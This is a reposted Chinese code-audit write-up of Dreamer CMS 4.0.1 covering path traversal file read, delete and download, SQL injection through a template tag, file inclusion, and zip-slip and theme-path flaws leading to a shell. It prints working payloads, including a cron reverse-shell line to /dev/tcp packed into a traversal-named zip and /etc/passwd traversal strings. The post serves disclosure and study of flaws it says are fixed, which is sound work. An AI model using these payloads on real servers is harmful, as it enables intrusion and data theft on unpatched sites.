Dreamer CMS 代码审计

渗透技巧 1年前 (2023) admin
515 0 0

此篇为转载文章
原文地址:
https://forum.butian.net/share/2183
原文作者:en0th
响尾蛇社区作者

0x00 前言

很久没进行Java代码审计了,在Gitee上找到一个个人开发的CMS。Star数量可观并且有对应的官网,可以看出作者为这个CMS注入了很多心血。目前所有漏洞已经提交并由作者修复。尽管作者修复很快,但代码中的漏洞是遗留性问题,在原来的版本中仍然存在漏洞。 具体可以看:
https://gitee.com/isoftforce/dreamer_cms/issues

0x01 声明

公网上存在部署了旧版本的CMS,基本上这些公网上的CMS存在很多问题。 请不要非法攻击别人的服务器,如果你是服务器主人请升级到最新版本。

请严格遵守网络安全法相关条例!此分享主要用于交流学习,请勿用于非法用途,一切后果自付。 一切未经授权的网络攻击均为违法行为,互联网非法外之地。

0x02 审计环境

CMS版本:Previous_Releases_4.0.1 

JVM名称:OpenJDK 64-Bit Server VM 

JAVA版本:1.8.0_362 

操作系统名称:Linux 

操作系统架构:amd64

数据库版本:8.0.32

0x03 系统搭建

作者给出了本地搭建的教程:

http://cms.iteachyou.cc/article/07d10ba665644d40ba558b0fe3d4831f 

如果需要部署,可以选择使用IDEA打包成jar到服务器上运行。本地审计时需要断点,可以直接使用IDEA启动环境。 

这里我使用了 docker 安装 redis 和 mysql 环境,通过分别挂载 redis.conf 和 conf 文件完成服务搭建。这两个文件都可以从网络上找到,或者映射自己的也行,这里不再赘述。

docker run -it --name redis -p 6380:6379 -v /docker-data/redis/redis.conf:/etc/redis/redis.conf -v /docker-data/redis:/data -d redis redis-server /etc/redis/redis.conf --appendonly yesdocker run -itd --name mysql -p 3366:3306 -v /docker-data/mysql/conf:/etc/mysql/conf  -v /docker-data/mysql/data:/data -e MYSQL_ROOT_PASSWORD=123456 mysql

创建完服务后,导入项目目录下的src/main/resources/db/db.sql数据库文件到我们的 docker 服务。这个方法比较多就不再赘述了。 

然后解压项目目录下的 src/main/resources/db/dreamer-cms.zip这个是资源文件。 最后修改项目目录下的src/main/resources/application-dev.yml配置文件,修改对应内容。Dreamer CMS 代码审计运行项目DreamerCMSApplication.java 网站首页:http://localhost:8888 项目管理后台:http://localhost:8888/admin 默认管理后台用户名:wangjn;密码:123456

0x04 审计漏洞

后台设置栏目存在任意文件读取漏洞

漏洞效果

点击左侧栏中的“栏目/文章”选项进入到栏目管理,新建顶级栏目,这里我创建了一个命名为 test 的顶级栏目。Dreamer CMS 代码审计在新建时,我们关注模板管理,这里我们在封面模板一项填入:/../../../../../../../../../../etc/passwdDreamer CMS 代码审计在前端首页顶部栏目中找到test,访问即可获得敏感信息。Dreamer CMS 代码审计

漏洞定位

Controller 文件:src/main/java/cc/iteachyou/cms/controller/admin/CategoryController.javaDreamer CMS 代码审计这里将所有参数转换成实体类Category,在处理模板路径处,只是判断了是否为空和是否为/开头,没有做路径穿越判断,直接存储到数据库中去了。 Controller 文件:src/main/java/cc/iteachyou/cms/controller/FrontController.javaDreamer CMS 代码审计其中的cover方法对应处理路径@RequestMapping("cover-{typeid}/{visitUrl}"),这里可以看到直接做了拼接,然后通过FileUtils.readFileToString读出文件内容并返回页面。

后台模板标签存在SQL注入

漏洞效果

我们到模板管理中,任意修改模板文件,我这里我修改了index_about.html文件。Dreamer CMS 代码审计

<div class="aboutUs">  {dreamer-cms:sql sql="SQL语句,只允许select开头。"}	<div>[field:content/]</div>	{/dreamer-cms:sql}</div>

我们可以使用 select ... into dumpfile ...的SQL语句写入文件到/var/lib/mysql-files目录下。同样可以使用select获取数据库所有表的数据并输出出来。Dreamer CMS 代码审计因为没有地方可以进行查询secure_file_priv属性,我直接通过连接 docker mysql 查看。Dreamer CMS 代码审计当我们再次访问“关于我们”的页面。Dreamer CMS 代码审计通过进入 docker 容器查看,发现文件已经写入。Dreamer CMS 代码审计我们可以使用SELECT CONVERT(load_file('/var/lib/mysql-files/test1.txt') USING utf8) AS content FROM dual;SQL语句读取我们写入的文件。Dreamer CMS 代码审计再次访问“关于我们”的页面发现将我们写入的文件读了出来。Dreamer CMS 代码审计

MySQL 8.0.11 版本引入了“禁用动态加载函数”功能,这是为了提高MySQL的安全性而引入的。当启用此功能时,MySQL将禁止使用UDF函数和UDF共享库加载机制,以防止潜在的安全威胁。这个功能默认是开启的,可以通过在mysqld启动时使用–disable-dynamic-loading选项禁用它。

漏洞定位

SQL XML映射文件:src/main/resources/mapping/SqlMapper.xmlDreamer CMS 代码审计非常简单,直接执行传入的SQL语句,没有任何过滤,也没有预编译。这里不能多行执行,也就是执行带有;号的SQL语句。 在 Mybatis SQL映射文件中可以通过在SQL语句中添加 allowMultiQueries=true 参数来允许多行执行。

<select id="getUsers" parameterType="string" statementType="CALLABLE" allowMultiQueries="true">    SHOW TABLES;    SELECT * FROM users;</select>

模板自定义标签文件:src/main/java/cc/iteachyou/cms/taglib/tags/SqlTag.javaDreamer CMS 代码审计没有进行SQL过滤,但校验了SQL语句开头必须带有select,也就是确保只能执行查询语句。

后台压缩校验不正确导致Getshell

漏洞效果

我们先在 Linux 系统创建..*..*..*..*..*..*..*..*..*..*var*spool*cron*root文件,并写入远连命令。

echo "*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/7777 0>&1" > ..*..*..*..*..*..*..*..*..*..*var*spool*cron*rootzip -r ./test3.zip ..*..*..*..*..*..*..*..*..*..*var*spool*cron*root

Dreamer CMS 代码审计Dreamer CMS 代码审计打包完后,通过风格管理上传该压缩包。Dreamer CMS 代码审计提示主题描述不存在,问题不大,这说明解压完成了。Dreamer CMS 代码审计在后台日志输出也能看到解压完毕。Dreamer CMS 代码审计接着我们到服务机器上看到我们的文件已经写进去了。Dreamer CMS 代码审计通过nc -lvvp 7777成功获得服务器权限。Dreamer CMS 代码审计

漏洞定位

Controller文件:src/main/java/cc/iteachyou/cms/controller/admin/ThemesController.javaDreamer CMS 代码审计在添加主题中调用了unZipFiles,我们具体看看这个工具类方法。 工具类文件:src/main/java/cc/iteachyou/cms/utils/ZipUtils.javaDreamer CMS 代码审计代码是常见的文件解压操作,针对压缩包内文件名做了../判断的校验,但在后面的代码里,使用正则将文件名内的*全部替换成路径符号/。值得注意的是,这里没有校验..,这同样会造成目录穿越。 ..*..*..*..*..*..*..*..*..*..*var*spool*cron*root变成../../../../../../../../../../var/spool/cron/root导致目录穿越的产生。在Linux情况下,我们可以写计划任务或者写SSH私钥可以达到获取服务器权限的目的。Window的情况下可以写恶意EXE到桌面钓鱼。

后台附件管理处存在任意文件删除

漏洞效果

测试服务器上的dreamer-cms模板文件目录。/var/www/dreamer-cms/backups/2023-03-14下存在sql文件。Dreamer CMS 代码审计我们在附件管理中进行添加附件,上传文件后点击确认。此时使用burp进行抓包。Dreamer CMS 代码审计将包内的filepath修改成../../../../../../../var/www/dreamer-cms/backups/2023-03-14/2023-03-14_system_user.sql后放包。Dreamer CMS 代码审计刷新后可以看到已经有记录了,这个时候我们点击删除按钮。Dreamer CMS 代码审计确认删除后,我们到服务器上再确认一下。发现文件已经删除。Dreamer CMS 代码审计

漏洞定位

处理附件Controller文件:src/main/java/cc/iteachyou/cms/controller/admin/AttachmentController.javaDreamer CMS 代码审计这里直接做了字符拼接。同一文件下,添加附件的逻辑处理中,没有对filepath字段进行过滤直接进行了保存。Dreamer CMS 代码审计两处都没有做输入过滤导致了任意文件删除漏洞的产生。

后台附件管理处存在任意文件下载

漏洞效果

我们在附件管理中进行添加附件,上传文件后点击确认。此时使用burp进行抓包。Dreamer CMS 代码审计将包内的filepath修改成../../../../../../etc/passwd后放包。Dreamer CMS 代码审计生成后,在页面上点击下载游览。Dreamer CMS 代码审计成功下载文件并获得敏感信息。Dreamer CMS 代码审计通过burp也能看到。Dreamer CMS 代码审计

漏洞定位

处理附件Controller文件:src/main/java/cc/iteachyou/cms/controller/admin/AttachmentController.javaDreamer CMS 代码审计这里直接做了字符拼接。同一文件下,添加附件的逻辑处理中,没有对filepath字段进行过滤直接进行了保存。Dreamer CMS 代码审计两处都没有做输入过滤导致了任意文件下载漏洞的产生。

后台模板标签存在任意文件包含

漏洞效果

我们到模板管理中,任意修改模板文件,我这里我修改了index_about.html文件。Dreamer CMS 代码审计

{dreamer-cms:include file='../../../../../../../../../../../../etc/passwd'/}

Dreamer CMS 代码审计当我们访问“关于我们”的页面时就能看到敏感文件信息了。Dreamer CMS 代码审计

漏洞定位

模板标签文件:src/main/java/cc/iteachyou/cms/taglib/tags/IncludeTag.javaDreamer CMS 代码审计这里的entity.get("file").toString()实际上就是{dreamer-cms:include file='../../../../../../../../../../../../etc/passwd'/}中的../../../../../../../../../../../../etc/passwd。 上面的代码只是判断了是否为空,但没有做目录穿越校验,导致了漏洞的产生。

后台模板管理可以任意编辑导致GetShell

为了观察断点信息,这里我使用了Window10环境。

漏洞效果

我们先到项目目录srcmainresourcesdbdreamer-cmstemplatesDreamer CMS 代码审计先把default_v2目录复制一份,修改成default_v3Dreamer CMS 代码审计修改其中的theme.json文件。将其中的themePath值修改成../../../../../../../../../../../../../../Dreamer CMS 代码审计然后打包default_v3default_v3.zip,到后台风格管理处上传zip文件并启用主题。Dreamer CMS 代码审计此时我们再到模板管理处就可以看到目录下的文件了。Dreamer CMS 代码审计我们可以任意查看文件内容,同时也可以修改文件内容。Dreamer CMS 代码审计如果是Linux服务器,我们可以修改authorized_keys文件进行免密登录了,也可以写计划任务。这里只能修改已存在文件,但可以配合压缩校验不正确上传任意文件,来达到获取服务器权限的目的。

漏洞定位

主题上传Controller文件: src/main/java/cc/iteachyou/cms/controller/admin/ThemesController.java 找到add方法。截图为解压完后针对theme.json文件的校验。下面的截图都是一个地方,注意观察行数。Dreamer CMS 代码审计

  1. 判断文件是否存在
  2. 判断JSON解析是否正确
  3. 判断Key是否都存在
Dreamer CMS 代码审计
image.png
  1. 判断对应值是否为空
  2. 创建theme对象
  3. 判断设置路径是否已”default”开头
Dreamer CMS 代码审计
image.png
  1. 判断数据库内是否存在同路径
  2. 这里进入到没有就存储新一条数据

到这里为止,发现都没有对我们修改的themePath进行目录穿越的校验。此漏洞之前被作者修复过,但不够完全。 具体修复内容看:

 https://gitee.com/isoftforce/dreamer_cms/commit/db95f1dadd7dcc5ea75c9fda03ea71ec21f38637 

观察TemplateController文件: src/main/java/cc/iteachyou/cms/controller/admin/TemplateController.javaDreamer CMS 代码审计不论在我们查看文件、保存文件时都存在着路径校验。我们直接看save方法,用来处理保存文件逻辑。 可以看到此时themeDir已经被污染了。Dreamer CMS 代码审计一般来说!templateFile.getCanonicalPath().startsWith(themeDir.getCanonicalPath())这句话是没错的,它能过滤掉..获得真实路径。但我们在这种情况下观察getCanonicalPath方法返回的值。Dreamer CMS 代码审计templateFile.getCanonicalPath()的值为E:SSH私钥.txtDreamer CMS 代码审计themeDir.getCanonicalPath()的值为E: 这时startsWith肯定是通过的。接着就保存文件了。也就是说一旦themeDir被污染了,那么检测就是摆设。Dreamer CMS 代码审计后续就是保存文件了。

后话

该CMS还在开发中,随着不断的开发,不同的漏洞问题也会随之浮现,我们审计的同时提交相关漏洞问题可以让作者更好的完善该CMS。我认为还存在不少问题,期待大家审计发现。 比如说最新修复的:

https://gitee.com/isoftforce/dreamer_cms/commit/b5461fe3846f768a8739d436a5d048c5175971b0 

作者使用下面这种方式进行目录穿越检测。

if(themePath1.contains("../") || themePath1.contains("..\")) {  throw new XssAndSqlException(      ExceptionEnum.XSS_SQL_EXCEPTION.getCode(),      ExceptionEnum.XSS_SQL_EXCEPTION.getMessage(),      "theme.json文件疑似不安全,详情:" + themePath1);}

但其实我们可以使用../来绕过。例如我们在自己的Linux机器上演示: cat ./../../../../../../../../../../../../../etc/passwdDreamer CMS 代码审计


原文始发于微信公众号(响尾蛇社区):Dreamer CMS 代码审计

版权声明:admin 发表于 2023年3月25日 下午6:12。
转载请注明:Dreamer CMS 代码审计 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...